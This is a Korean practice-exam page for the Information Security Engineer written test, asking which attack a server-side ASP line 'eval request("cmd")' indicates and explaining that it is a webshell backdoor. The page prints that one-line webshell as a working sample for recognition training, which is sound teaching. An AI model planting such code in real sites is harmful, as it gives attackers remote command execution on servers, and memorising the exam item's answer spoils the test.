모두CBT

서버를 점검하던 중 다음과 같은 문장이 포함된 ASP 스크립트가 존재하… | [정보보안기사 필기] 21년 1회차 기출문제 상세 페이지

1[정보보안기사 필기] 21년 1회차

서버를 점검하던 중 다음과 같은 문장이 포함된 ASP 스크립트가 존재하는 것을 알게 되었다. 의심되는 공격은 무엇인가?

<% eval request("cmd") %>

1
Buffer Overflow
2
CSRF
3
웹셸(WebShell)
4
DoS/DDoS
해설

요청 파라미터를 받아 그대로 실행해 주는 eval request("cmd") 한 줄은 전형적인 웹셸(WebShell) 코드다.

공격자가 cmd 파라미터에 임의의 ASP 구문을 실어 보내면 서버가 웹 서비스 계정 권한으로 그것을 실행한다. 파일 조회·업로드·명령 실행까지 가능하므로 업로드 취약점으로 심어 두는 백도어로 쓰인다.

나머지 공격은 서버에 이런 스크립트 파일을 남기지 않는다.

  • 버퍼 오버플로는 메모리 경계를 넘는 입력으로 실행 흐름을 가로채는 메모리 공격이다.
  • CSRF는 피해자 브라우저가 대신 요청을 보내게 하는 기법이고, DoS/DDoS는 자원을 고갈시켜 서비스를 마비시키는 공격이다.

내용에 오류가 있거나 최신 법령·기준과 다른 부분이 보이면 알려주세요. 확인 후 반영하겠습니다.